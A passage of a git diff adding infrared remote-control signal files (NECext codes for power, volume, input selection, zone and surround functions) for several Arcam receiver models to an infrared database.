NECext +address: 10 00 00 00 +command: 07 00 00 00 +# +name: CD_INPUT +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 07 00 00 00 +# +name: 4_CD +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 07 00 00 00 +# +name: SELECT_CD +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 07 00 00 00 +# +name: AUX_A +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 08 00 00 00 +# +name: AUX_B +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 08 00 00 00 +# +name: AUX +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 08 00 00 00 +# +name: AUX/PVR +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 08 00 00 00 +# +name: PVR_INPUT +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 08 00 00 00 +# +name: 5_AUX +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 08 00 00 00 +# +name: SELECT_AUX +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 08 00 00 00 +# +name: DVD-A +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 09 00 00 00 +# +name: DVD-A_INPUT +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 09 00 00 00 +# +name: 9_MCH +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 09 00 00 00 +# +name: SELECT_MULTI-CHANNEL +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 09 00 00 00 +# +name: STEREO_DIRECT_TOGGL +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 0A 00 00 00 +# +name: DIRECT_ONOFF_TGL +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 0A 00 00 00 +# +name: SELECT_NET +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 0B 00 00 00 +# +name: POWER_A +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 0C 00 00 00 +# +name: POWER_B +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 0C 00 00 00 +# +name: POWER_ON/OFF +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 0C 00 00 00 +# +name: POWER_TOGGLE +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 0C 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 0C 00 00 00 +# +name: STAND_BY +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 0C 00 00 00 +# +name: MUTE_A +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 0D 00 00 00 +# +name: MUTE_B +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 0D 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 0D 00 00 00 +# +name: MUTE_TOGGLE +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 0D 00 00 00 +# +name: MUTE_ON +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 0D 00 00 00 +# +name: TREBLE_CON._MENU +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 0E 00 00 00 +# +name: VOLUME_+_A +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 10 00 00 00 +# +name: VOLUME_+_B +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 10 00 00 00 +# +name: + +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 10 00 00 00 +# +name: VOL+ +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 10 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 10 00 00 00 +# +name: VOLUME_UP +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 10 00 00 00 +# +name: VOLUME_-_A +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 11 00 00 00 +# +name: VOLUME_-_B +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 11 00 00 00 +# +name: - +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 11 00 00 00 +# +name: VOL- +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 11 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 11 00 00 00 +# +name: VOLUME_DOWN +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 11 00 00 00 +# +name: SAT_VIDEO +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 13 00 00 00 +# +name: CYCLE_ASPECT_RATIO +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 13 00 00 00 +# +name: AV_VIDEO +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 14 00 00 00 +# +name: FOLLOW_ZONE_1 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 14 00 00 00 +# +name: DVD_VIDEO +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 16 00 00 00 +# +name: TAPE_VIDEO +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 17 00 00 00 +# +name: VCR_VIDEO +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 18 00 00 00 +# +name: LAST_/_THX +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 1C 00 00 00 +# +name: STORE_PRE_X_(TUNER) +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 1C 00 00 00 +# +name: ZONE_2_MODE_ON +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 1D 00 00 00 +# +name: ZONE_2_MODE_OFF +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 1E 00 00 00 +# +name: ROOM_EQ_ON/OFF +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 1E 00 00 00 +# +name: MODE +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 20 00 00 00 +# +name: GUIDE_/_MODE +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 20 00 00 00 +# +name: CYCLE_DECODE_MODE +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 20 00 00 00 +# +name: SELECT_DVR +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 22 00 00 00 +# +name: TRIM +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 25 00 00 00 +# +name: TRIM_MENU +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 25 00 00 00 +# +name: SPEAKER_TRIM +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 25 00 00 00 +# +name: BASS_CON._MENU +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 27 00 00 00 +# +name: FAVORITE_UP +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 29 00 00 00 +# +name: FAVORITE_DOWN +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 2A 00 00 00 +# +name: HOME +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 2B 00 00 00 +# +name: BASS_INCREMENT +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 2C 00 00 00 +# +name: BASS_DECREMENT +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 2D 00 00 00 +# +name: TREBLE_INCREMENT +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 2E 00 00 00 +# +name: ZONE_2_MODE_ON +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 2F 00 00 00 +# +name: CYCLE_OUTPUT_RES +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 2F 00 00 00 +# +name: ZONE_2_MODE_OFF +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 30 00 00 00 +# +name: RANDOM +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 30 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 31 00 00 00 +# +name: LIP_SYNC +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 32 00 00 00 +# +name: LIPSYNC_CONT_MEN +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 32 00 00 00 +# +name: SUB_TRIM_MENU +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 33 00 00 00 +# +name: A-B_/_SUB +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 33 00 00 00 +# +name: SUB_CONTROL_MENU +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 33 00 00 00 +# +name: AM_A +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 34 00 00 00 +# +name: AM_B +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 34 00 00 00 +# +name: AM +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 34 00 00 00 +# +name: ENTER_/_AM +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 34 00 00 00 +# +name: SELECT_AM +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 34 00 00 00 +# +name: FM_A +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 35 00 00 00 +# +name: FM_B +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 35 00 00 00 +# +name: FM +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 35 00 00 00 +# +name: FM/AM +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 35 00 00 00 +# +name: 0_FM +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 35 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 35 00 00 00 +# +name: PRESET/TUNE_MODE +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 36 00 00 00 +# +name: PRESET_MODE_TOGGLE +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 36 00 00 00 +# +name: SELECT_FM +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 36 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 37 00 00 00 +# +name: PRESET/TUNE_+ +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 38 00 00 00 +# +name: PRESET_TUNE_UP +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 38 00 00 00 +# +name: PRESET_+ +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 38 00 00 00 +# +name: TRACK_FORWARD +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 38 00 00 00 +# +name: PRESET/TUNE_- +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 39 00 00 00 +# +name: PRESET_TUNE_DOWN +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 39 00 00 00 +# +name: PRESET_- +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 39 00 00 00 +# +name: TRACK_BACKWARD +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 39 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 3B 00 00 00 +# +name: DISPLAY_BRIGHT +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 3B 00 00 00 +# +name: DYN +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 3E 00 00 00 +# +name: EFFECT:_OFF +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 3F 00 00 00 +# +name: MUSIC +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 40 00 00 00 +# +name: PARTY +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 41 00 00 00 +# +name: CLUB +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 42 00 00 00 +# +name: HALL +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 43 00 00 00 +# +name: SPORT +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 44 00 00 00 +# +name: CHURCH +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 45 00 00 00 +# +name: SURROUND_MODE_A +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 46 00 00 00 +# +name: SURROUND_MODE_B +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 46 00 00 00 +# +name: EFFECT_(TOOGLE) +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 46 00 00 00 +# +name: SLEEP_/_FX +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 46 00 00 00 +# +name: DOLBY_VOL._ON/OFF +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 46 00 00 00 +# +name: SELECT_SIRIUS +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 48 00 00 00 +# +name: STEREO_DIRECT_ON +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 4E 00 00 00 +# +name: DISCRETE_DIR_ON +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 4E 00 00 00 +# +name: STEREO_DIRECT_OFF +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 4F 00 00 00 +# +name: DISCRETE_DIR_OFF +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 4F 00 00 00 +# +name: RIGHT +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 50 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 50 00 00 00 +# +name: NAVIGATE_RIGHT +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 50 00 00 00 +# +name: LEFT +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 51 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 51 00 00 00 +# +name: NAVIGATE_LEFT +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 51 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 52 00 00 00 +# +name: DOWN +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 55 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 55 00 00 00 +# +name: NAVIGATE_DOWN +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 55 00 00 00 +# +name: UP +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 56 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 56 00 00 00 +# +name: NAVIGATE_UP +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 56 00 00 00 +# +name: OK +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 57 00 00 00 +# +name: CURSOR_SELECT/OK +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 57 00 00 00 +# +name: CURSOR_OK +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 57 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 57 00 00 00 +# +name: ZONE_TOGGLE +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 5F 00 00 00 +# +name: TREBLE_DECREMENT +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 62 00 00 00 +# +name: LIPSYNC_+_BY_1MS +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 64 00 00 00 +# +name: LIPSYNC_-_BY_1MS +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 65 00 00 00 +# +name: DOLBY_PLIIX_MOVIE +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 67 00 00 00 +# +name: DOLBY_PLIIX_MUSIC +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 67 00 00 00 +# +name: STEREO +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 6A 00 00 00 +# +name: MONO +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 6A 00 00 00 +# +name: STEREO +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 6B 00 00 00 +# +name: DOLBY_PLII_MOVIE +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 6C 00 00 00 +# +name: DOLBY_PLII_MUSIC +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 6D 00 00 00 +# +name: DOLBY_PL_EMULATE +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 6E 00 00 00 +# +name: DTS_NEO:6_CINEMA +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 6F 00 00 00 +# +name: DTS_NEO:6_MUSIC +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 70 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 77 00 00 00 +# +name: MUTE_OFF +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 78 00 00 00 +# +name: ON +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 7B 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 7B 00 00 00 +# +name: STANDBY +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 7C 00 00 00 +# +name: OFF +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 7C 00 00 00 +# +name: POWER_OFF/STANDBY +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 7C 00 00 00 +# +name: STANDBY/OFF +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 7C 00 00 00 +# +name: STAND_BY +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 7C 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 7C 00 00 00 +# +name: ZONE_1_STANDBY +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 7D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Arcam/Receiver/17,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Arcam/Receiver/17,-1.ir new file mode 100644 index 000000000..e9cf177cd --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Arcam/Receiver/17,-1.ir @@ -0,0 +1,338 @@ +Filetype: IR signals file +Version: 1 +# +name: ZONE_2:_SAT_INPUT +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 00 00 00 00 +# +name: NUMBER_0_(TUNER) +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 00 00 00 00 +# +name: PRESET_1 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 01 00 00 00 +# +name: NUMBER_1_(TUNER) +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 01 00 00 00 +# +name: PRESET_2 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 02 00 00 00 +# +name: ZONE_2:_AV_INPUT +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 02 00 00 00 +# +name: NUMBER_2_(TUNER) +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 02 00 00 00 +# +name: PRESET_3 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 03 00 00 00 +# +name: ZONE_2:_TUNER_INPUT +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 03 00 00 00 +# +name: NUMBER_3_(TUNER) +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 03 00 00 00 +# +name: PRESET_4 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 04 00 00 00 +# +name: ZONE_2:_DVD_INPUT +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 04 00 00 00 +# +name: NUMBER_4_(TUNER) +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 04 00 00 00 +# +name: PRESET_5 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 05 00 00 00 +# +name: NUMBER_5_(TUNER) +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 05 00 00 00 +# +name: PRESET_6 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 06 00 00 00 +# +name: ZONE_2:_VCR_INPUT +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 06 00 00 00 +# +name: NUMBER_6_(TUNER) +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 06 00 00 00 +# +name: PRESET_7 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 07 00 00 00 +# +name: ZONE_2:_CD_INPUT +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 07 00 00 00 +# +name: NUMBER_7_(TUNER) +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 07 00 00 00 +# +name: PRESET_8 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 08 00 00 00 +# +name: ZONE_2:_PVR_INPUT +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 08 00 00 00 +# +name: NUMBER_8_(TUNER) +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 08 00 00 00 +# +name: PRESET_9 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 09 00 00 00 +# +name: ZONE_2:_DVD-A_INP. +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 09 00 00 00 +# +name: NUMBER_9_(TUNER) +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 09 00 00 00 +# +name: ZONE_2:_POWER_TOG. +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 0C 00 00 00 +# +name: ZONE_2:_MUTE_TOG. +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 0D 00 00 00 +# +name: ZONE_2:_VOLUME_UP +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 10 00 00 00 +# +name: ZONE_2:_VOLUME_DN. +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 11 00 00 00 +# +name: TUNE_UP +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 1E 00 00 00 +# +name: TUNE_DOWN +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 1F 00 00 00 +# +name: PRE/SIRIUS_+_(TUN) +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 20 00 00 00 +# +name: PRE/SIRIUS_-_(TUN) +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 21 00 00 00 +# +name: SEEK_UP +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 22 00 00 00 +# +name: SEEK_DOWN +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 23 00 00 00 +# +name: PAGE_DOWN_(TUNE) +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 25 00 00 00 +# +name: PAGE_UP_(TUNER) +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 26 00 00 00 +# +name: DELETE_PRESET +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 29 00 00 00 +# +name: ZONE_2:_PRESET_TOG. +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 36 00 00 00 +# +name: ZONE_2:_PRESET_UP +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 38 00 00 00 +# +name: ZONE_2:_PRESET_DN. +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 39 00 00 00 +# +name: TUNING_+_RIGHT +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 4D 00 00 00 +# +name: TUNING_-_LEFT +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 4E 00 00 00 +# +name: PRESET_DOWN_(TUNER) +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 55 00 00 00 +# +name: PRESET_UP_(TUNE) +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 56 00 00 00 +# +name: PRESET_10 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 6E 00 00 00 +# +name: PRESET_11 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 6F 00 00 00 +# +name: PRESET_12 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 70 00 00 00 +# +name: PRESET_13 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 71 00 00 00 +# +name: PRESET_14 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 72 00 00 00 +# +name: ZONE_2:_MUTE +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 77 00 00 00 +# +name: ZONE_2:_MUTE_OFF +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 78 00 00 00 +# +name: ZONE_2:_ON +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 7B 00 00 00 +# +name: ZONE_2:_STAND_BY +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 7C 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Arcam/Receiver/19,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Arcam/Receiver/19,-1.ir new file mode 100644 index 000000000..b0df62b10 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Arcam/Receiver/19,-1.ir @@ -0,0 +1,86 @@ +Filetype: IR signals file +Version: 1 +# +name: SAT +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 00 00 00 00 +# +name: AV +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 02 00 00 00 +# +name: TUNER +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 03 00 00 00 +# +name: DVD +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 04 00 00 00 +# +name: TAPE +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 05 00 00 00 +# +name: VCR +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 06 00 00 00 +# +name: CD +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 07 00 00 00 +# +name: PVR/AUX +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 08 00 00 00 +# +name: DVD-A +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 09 00 00 00 +# +name: MUTE-TOGGLE +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 0D 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 10 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 11 00 00 00 +# +name: ZONE_2_ON +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 2F 00 00 00 +# +name: ZONE_2_OFF +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 30 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Arcam/Receiver/23,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Arcam/Receiver/23,-1.ir new file mode 100644 index 000000000..b955df401 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Arcam/Receiver/23,-1.ir @@ -0,0 +1,158 @@ +Filetype: IR signals file +Version: 1 +# +name: ZONE_2_VOL._UP +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 01 00 00 00 +# +name: ZONE_2_VOL._DOWN +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 02 00 00 00 +# +name: ZONE_2_MUTE_TOG. +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 03 00 00 00 +# +name: ZONE_2_MUTE_ON +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 04 00 00 00 +# +name: ZONE_2_MUTE_OFF +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 05 00 00 00 +# +name: ZONE_2_CD +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 06 00 00 00 +# +name: ZONE_2_DVD +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 07 00 00 00 +# +name: ZONE_2_SAT +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 08 00 00 00 +# +name: ZONE_2_AV +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 09 00 00 00 +# +name: ZONE_2_TAPE +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 0A 00 00 00 +# +name: ZONE_2_VCR +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 0B 00 00 00 +# +name: ZONE_2_DVR +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 0C 00 00 00 +# +name: ZONE_2_AUX +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 0D 00 00 00 +# +name: ZONE_2_FM +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 0E 00 00 00 +# +name: ZONE_2_AM +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 0F 00 00 00 +# +name: ZONE_2_SIRIUS +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 10 00 00 00 +# +name: ZONE_2_NET +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 13 00 00 00 +# +name: ZONE_3_VOL._UP +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 14 00 00 00 +# +name: ZONE_3_VOL._DOWN +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 15 00 00 00 +# +name: ZONE_3_MUTE +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 16 00 00 00 +# +name: ZONE_3_MUTE_ON +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 17 00 00 00 +# +name: ZONE_3_MUTE_OFF +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 18 00 00 00 +# +name: ZONE_3_POWER_ON +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 79 00 00 00 +# +name: ZONE_3_POWER_OFF +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 7A 00 00 00 +# +name: ZONE_2_PWR_ON +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 7B 00 00 00 +# +name: ZONE_2_PWR_OFF +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 7C 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Arcam/Receiver/25,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Arcam/Receiver/25,-1.ir new file mode 100644 index 000000000..7ebbb5950 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Arcam/Receiver/25,-1.ir @@ -0,0 +1,44 @@ +Filetype: IR signals file +Version: 1 +# +name: TUNER_+_A +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 20 00 00 00 +# +name: TUNER_+_B +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 20 00 00 00 +# +name: CH_+ +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 20 00 00 00 +# +name: TUNER_-_A +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 21 00 00 00 +# +name: TUNER_-_B +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 21 00 00 00 +# +name: CH_- +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 21 00 00 00 +# +name: EXIT_/_OPEN +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 2D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Arcam/Surround Receiver/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Arcam/Surround Receiver/0,-1.ir new file mode 100644 index 000000000..2ad97aebc --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Arcam/Surround Receiver/0,-1.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: +type: 